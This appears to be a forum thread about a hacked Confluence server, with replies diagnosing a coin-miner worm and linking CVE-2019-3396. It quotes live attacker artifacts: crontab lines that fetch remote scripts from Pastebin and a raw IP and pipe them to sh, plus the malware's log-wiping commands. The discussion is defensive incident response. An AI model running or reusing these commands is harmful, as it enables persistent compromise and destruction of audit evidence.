I think my confluence server has been hacked.
Any ideas what to do?
EDIT: found.
# crontab -u confluence -l
*/10 * * * * (curl -fsSL https://pastebin.com/raw/wR3ETdbi||wget -q -O- https://pastebin.com/raw/wR3ETdbi)|sh
Remove âshâ links. Shit will break, but nothing important. Most system things are designed to use ash/dash.
Found this scripts
I still donât know completely what they are doing. I removed the cron job made by the attacker, removed the strange files in /tmp, changed user password and killed processes but they are still relaunching after seconds.
Oddly, they seem to be removing other malware - not that Iâve checked everything - but nearly at a NORTON level of CPU abuse to do so.
Then, you know, their own is awesomesauce.
Your ârootâ user was compromised. Anything can be happening there. Itâs better to simply reinstall the whole thing from scratch and use the backups. Use a strong root password next time, change SSH port (or use Port Knocking), and update the kernel often because hackers love exploits.
Instead of wasting time trying to figure out what they did (from crontab to systemd, from rc.local to init.d, from loop processes with open ports and backdoors to IRC terminals in perl), itâs better to simply reinstall it again. They have root access like you do, while you read these lines. Grab your backups, and reinstall it.
EDIT:
Because you wish to find the ârootâ cause, there are only a few ways, as they seem to have root privileges already, so: either you had a weak root password; either they hacked a service you were already running as root; or they hacked a service that you were running as limited user, but they obtained root because you used an old kernel with a vulnerability which they exploited.
5 Likes
When the fight to be the #1 botnet reaches critical massâŚ
7 Likes
isnât server management 101. ssh key login? how were they able to get root in that situation?
is it ok to admit I donât know some of my server password but I guard my key like nothing else.
I donât think root has been compromised. Only confluence user looks like affected.
Always.
Yeah Iâm better reinstalling everything with a new version of Confluence
with or without swap?
What?
https://nvd.nist.gov/vuln/detail/CVE-2019-3396
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
2 Likes
Would highly recommend getting a snapshot of the server (if itâs a VM that allows that) and pulling it offline while you investigate. Itâs likely an attacker will delete all the logs and/or use it for nefarious things like sending spam and port scanning, which can get you nullrouted.
One approach Iâd take would be to compare old backups and see exactly whatâs been modified. If you use Borgbackup, it has a borg diff command thatâd be useful.
1 Like
Most probably because CPU goes to 100% when those process are running.
I powered off the server until I can take action. Luckily this is a VM on a dedi.
It will be hilarious if CC blocks me for sending spam 
Atlassian just sent this via email, which is probably it. Itâs a different vunlerability (CVE-2019-3398) to the one @Yes linked to:
Received too, but it does not look related to me. I will make a new shiny installation next week.
Not sure how you concluded this, nothing so far points to this being true.
Please donât.
This is a terrible advice. @imok will reinstall the server and attackers can get right back in.
Judging by the âconfluenceâ user owning files and having stuff in their crontab, attackers definitely got in via that. Was SSH login possible through that user? If so and the user had a weak password⌠well here you go.
If not, the attacker came through the application itself, which means they did exploit some vulnerability in Confluence.
Hereâs a virustotal of the malware itself, it seems to be a coin miner:
This is heavily supported by the fact that in the scripts you found on your server, it tries to kill and delete all other known coin miners first (so all CPU power is available to it).
CAREFUL, it seems the script also looks at your known_hosts file and tries to log in to all servers there with your ssh key and install itself. Triple check that the serverâs private key wasnât used to log in to anything. With that said, this should only work if the script was executed as the root user (which doesnât seem to be the case) - but it never hurts to check.
Donât even bother inspecting system logs:
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
What you should look at is Confluence + webserver logs, they should show how the attacker got in. You might see something like a suspicious POST request from an unknown IP, or a GET request with some garbage in parameters. This should reveal how the attacker got in in the first place.
What you ultimately need to do is to nuke the server, carefully transplant the database from your backups and install a brand new version of Confluence.
5 Likes
Itâs just a weak worm (spreading only via known hosts) that spawns a Monero miner (khugepageds). Itâs really well documented and thereâs nothing special about it (you arenât joining some botnet that is going to be interacted with by an actual criminal). You can do a full uninstall with the system offline or in rescue mode without worrying about any leftovers, but I understand you wouldnât want to do that in production. The cause is almost certainly the CVE I linked (the other Atlassian ones recently are just path traversal) but if not, then itâs probably just an insecure SSH configurationâŚ
If possible that sort of software should not be public facing anyway, although I understand why it can be a requirement. Thankfully you had it configured properly under its own user.
Just make sure you get a patched version of Atlassianâs S/W when you do the fresh install. Also WTF is going on with their versioning, no wonder so many people had problems with this despite their security announcements.
1 Like
same thing happened to me today
and I found this in my crontab
*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh
I have whmcs and plesk installed on this vps
1 Like
This is different. Youâre infected by a very different malware. Must be a new thing (or obfuscated on the go), virustotal doesnât report anything useful.